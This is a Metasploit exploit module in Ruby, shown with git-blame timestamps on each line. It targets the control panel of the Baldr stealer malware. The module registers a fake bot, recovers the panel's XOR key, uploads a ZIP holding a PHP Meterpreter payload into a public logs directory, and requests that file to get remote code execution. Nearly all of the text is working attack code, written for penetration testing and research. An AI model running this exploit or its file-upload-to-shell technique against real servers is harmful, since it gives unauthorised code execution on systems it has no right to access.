2020-07-23 10:02:00 +03:00
|
|
|
|
##
|
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
|
Rank = ExcellentRanking
|
2020-07-28 17:19:26 -05:00
|
|
|
|
include Msf::Exploit::FileDropper
|
2020-07-23 10:02:00 +03:00
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2020-07-28 10:54:45 +03:00
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
2020-07-28 16:48:32 -05:00
|
|
|
|
def initialize(info = {})
|
|
|
|
|
|
super(
|
|
|
|
|
|
update_info(
|
|
|
|
|
|
info,
|
|
|
|
|
|
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
|
|
|
|
|
|
'Description' => %q{
|
2020-08-04 16:59:57 -06:00
|
|
|
|
This module exploits an arbitrary file upload vulnerability within the Baldr
|
2020-08-06 11:18:39 -05:00
|
|
|
|
stealer malware control panel when uploading victim log files (which are uploaded
|
|
|
|
|
|
as ZIP files). Attackers can turn this vulnerability into an RCE by first
|
2020-08-06 10:50:47 -05:00
|
|
|
|
registering a new bot to the panel and then uploading a ZIP file containing
|
|
|
|
|
|
malicious PHP, which will then uploaded to a publicly accessible
|
|
|
|
|
|
directory underneath the /logs web directory.
|
2020-08-06 11:18:39 -05:00
|
|
|
|
|
2020-08-06 10:50:47 -05:00
|
|
|
|
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
|
|
|
|
|
|
are encoded by XORing them with a random 4 byte key. This exploit module gets around
|
|
|
|
|
|
this restriction by retrieving the IP specific XOR key from panel gate before
|
|
|
|
|
|
uploading the malicious ZIP file.
|
2020-07-23 10:02:00 +03:00
|
|
|
|
},
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'License' => MSF_LICENSE,
|
2021-08-27 17:15:33 +01:00
|
|
|
|
'Author' => [
|
|
|
|
|
|
'Ege Balcı <egebalci@pm.me>' # author & msf module
|
|
|
|
|
|
],
|
|
|
|
|
|
'References' => [
|
|
|
|
|
|
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
|
|
|
|
|
|
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
|
|
|
|
|
|
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
|
|
|
|
|
|
],
|
|
|
|
|
|
'DefaultOptions' => {
|
|
|
|
|
|
'SSL' => false,
|
|
|
|
|
|
'WfsDelay' => 5
|
|
|
|
|
|
},
|
|
|
|
|
|
'Platform' => [ 'php' ],
|
|
|
|
|
|
'Arch' => [ ARCH_PHP ],
|
|
|
|
|
|
'Targets' => [
|
2020-07-28 16:48:32 -05:00
|
|
|
|
[
|
2021-08-27 17:15:33 +01:00
|
|
|
|
'Auto',
|
|
|
|
|
|
{
|
|
|
|
|
|
'Platform' => 'PHP',
|
|
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
|
|
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
|
|
|
|
|
}
|
2020-07-23 10:02:00 +03:00
|
|
|
|
],
|
2020-07-28 16:48:32 -05:00
|
|
|
|
[
|
2021-08-27 17:15:33 +01:00
|
|
|
|
'<= v2.0',
|
|
|
|
|
|
{
|
|
|
|
|
|
'Platform' => 'PHP',
|
|
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
|
|
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
|
|
|
|
|
}
|
2020-07-23 10:02:00 +03:00
|
|
|
|
],
|
2020-07-28 16:48:32 -05:00
|
|
|
|
[
|
2021-08-27 17:15:33 +01:00
|
|
|
|
'v2.2',
|
|
|
|
|
|
{
|
|
|
|
|
|
'Platform' => 'PHP',
|
|
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
|
|
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
|
|
|
|
|
}
|
2020-07-23 10:02:00 +03:00
|
|
|
|
],
|
2021-08-27 17:15:33 +01:00
|
|
|
|
[
|
|
|
|
|
|
'v3.0 & v3.1',
|
|
|
|
|
|
{
|
|
|
|
|
|
'Platform' => 'PHP',
|
|
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
|
|
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
|
|
|
|
|
|
}
|
|
|
|
|
|
]
|
|
|
|
|
|
],
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'Privileged' => false,
|
2020-10-02 17:38:06 +01:00
|
|
|
|
'DisclosureDate' => '2018-12-19',
|
2023-02-10 18:04:31 +00:00
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
|
'Notes' => {
|
|
|
|
|
|
'Stability' => [ CRASH_SAFE ],
|
|
|
|
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
|
|
|
|
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
|
|
|
|
}
|
2020-07-28 16:48:32 -05:00
|
|
|
|
)
|
|
|
|
|
|
)
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
|
[
|
|
|
|
|
|
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
|
|
|
|
|
|
]
|
|
|
|
|
|
)
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
|
|
if select_target
|
2020-07-28 10:54:45 +03:00
|
|
|
|
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
|
2020-07-23 10:02:00 +03:00
|
|
|
|
else
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
|
|
end
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def select_target
|
|
|
|
|
|
res = send_request_cgi(
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'method' => 'GET',
|
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'gate.php')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
)
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
|
|
if res.body.include?('~;~')
|
|
|
|
|
|
targets[3]
|
|
|
|
|
|
elsif res.body.include?(';')
|
|
|
|
|
|
targets[2]
|
|
|
|
|
|
elsif res.body.size < 4
|
|
|
|
|
|
targets[1]
|
|
|
|
|
|
end
|
|
|
|
|
|
end
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
# Forge the payload
|
2020-07-28 10:51:03 +03:00
|
|
|
|
name = ".#{Rex::Text.rand_text_alpha(4)}"
|
2020-07-23 10:02:00 +03:00
|
|
|
|
files =
|
2020-07-28 16:48:32 -05:00
|
|
|
|
[
|
|
|
|
|
|
{ data: payload.encoded, fname: "#{name}.php" }
|
|
|
|
|
|
]
|
2020-07-23 10:02:00 +03:00
|
|
|
|
zip = Msf::Util::EXE.to_zip(files)
|
|
|
|
|
|
hwid = Rex::Text.rand_text_alpha(8).upcase
|
|
|
|
|
|
|
2020-07-28 16:47:35 -05:00
|
|
|
|
gate_uri = normalize_uri(target_uri.path, 'gate.php')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
version = select_target
|
|
|
|
|
|
# If not 'Auto' then use the selected version
|
|
|
|
|
|
if target != targets[0]
|
|
|
|
|
|
version = target
|
|
|
|
|
|
end
|
|
|
|
|
|
|
2020-07-28 10:54:45 +03:00
|
|
|
|
gate_res = send_request_cgi({
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'method' => 'GET',
|
|
|
|
|
|
'uri' => gate_uri
|
|
|
|
|
|
})
|
2020-07-28 17:19:26 -05:00
|
|
|
|
os = Rex::Text.rand_text_alpha(8..12)
|
2020-07-28 10:54:45 +03:00
|
|
|
|
|
|
|
|
|
|
case version
|
|
|
|
|
|
when targets[3]
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
|
2020-07-28 16:47:35 -05:00
|
|
|
|
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
end
|
2020-07-28 10:54:45 +03:00
|
|
|
|
key = gate_res.body.to_s.split('~;~')[0]
|
2020-07-23 10:02:00 +03:00
|
|
|
|
print_good("Key: #{key}")
|
|
|
|
|
|
|
2020-07-28 17:19:26 -05:00
|
|
|
|
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
|
2020-07-28 16:47:35 -05:00
|
|
|
|
data = Rex::Text.xor(key, data)
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
|
|
'method' => 'GET',
|
2020-07-28 16:47:35 -05:00
|
|
|
|
'uri' => gate_uri,
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'data' => data.to_s
|
2020-07-23 10:02:00 +03:00
|
|
|
|
})
|
|
|
|
|
|
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
|
|
|
|
|
|
print_good('Bot successfully registered.')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
2020-07-28 16:47:35 -05:00
|
|
|
|
data = Rex::Text.xor(key, zip.to_s)
|
2020-07-23 10:02:00 +03:00
|
|
|
|
form = Rex::MIME::Message.new
|
|
|
|
|
|
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")
|
|
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'method' => 'POST',
|
|
|
|
|
|
'uri' => gate_uri,
|
|
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{form.bound}",
|
|
|
|
|
|
'data' => form.to_s
|
2020-07-23 10:02:00 +03:00
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
|
|
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
2020-07-28 17:19:26 -05:00
|
|
|
|
register_file_for_cleanup("#{name}.php")
|
2020-07-23 10:02:00 +03:00
|
|
|
|
else
|
|
|
|
|
|
print_error("Server responded with code #{res.code}")
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
end
|
|
|
|
|
|
when targets[2]
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
|
2020-07-28 10:54:45 +03:00
|
|
|
|
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
end
|
|
|
|
|
|
|
2020-07-28 10:54:45 +03:00
|
|
|
|
key = gate_res.body.to_s.split(';')[0]
|
2020-07-23 10:02:00 +03:00
|
|
|
|
print_good("Key: #{key}")
|
|
|
|
|
|
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
|
|
|
|
|
|
data << zip.to_s
|
2020-07-28 16:47:35 -05:00
|
|
|
|
result = Rex::Text.xor(key, data)
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'method' => 'POST',
|
|
|
|
|
|
'uri' => gate_uri,
|
|
|
|
|
|
'data' => result.to_s
|
2020-07-23 10:02:00 +03:00
|
|
|
|
})
|
|
|
|
|
|
|
2020-07-28 16:47:35 -05:00
|
|
|
|
unless res && res.code == 200
|
2020-07-23 10:02:00 +03:00
|
|
|
|
print_error("Server responded with code #{res.code}")
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
end
|
2020-07-28 16:47:35 -05:00
|
|
|
|
|
|
|
|
|
|
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
2020-07-23 10:02:00 +03:00
|
|
|
|
else
|
|
|
|
|
|
res = send_request_cgi({
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'method' => 'POST',
|
|
|
|
|
|
'uri' => gate_uri,
|
|
|
|
|
|
'data' => zip.to_s,
|
2020-07-23 10:02:00 +03:00
|
|
|
|
'encode_params' => true,
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'vars_get' => {
|
|
|
|
|
|
'hwid' => hwid,
|
2020-07-28 17:19:26 -05:00
|
|
|
|
'os' => os,
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'cookie' => '0',
|
|
|
|
|
|
'pswd' => '0',
|
|
|
|
|
|
'credit' => '0',
|
|
|
|
|
|
'wallet' => '0',
|
|
|
|
|
|
'file' => '1',
|
|
|
|
|
|
'autofill' => '0',
|
|
|
|
|
|
'version' => 'v2.0'
|
2020-07-23 10:02:00 +03:00
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
|
|
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
|
|
|
|
|
else
|
|
|
|
|
|
print_error("Server responded with code #{res.code}")
|
2020-07-28 16:48:32 -05:00
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
end
|
|
|
|
|
|
end
|
|
|
|
|
|
|
2020-07-28 16:47:35 -05:00
|
|
|
|
vprint_status('Triggering payload')
|
2020-07-23 10:02:00 +03:00
|
|
|
|
send_request_cgi({
|
|
|
|
|
|
'method' => 'GET',
|
2020-07-28 16:48:32 -05:00
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
|
|
|
|
|
|
}, 3)
|
2020-07-23 10:02:00 +03:00
|
|
|
|
end
|
|
|
|
|
|
end
|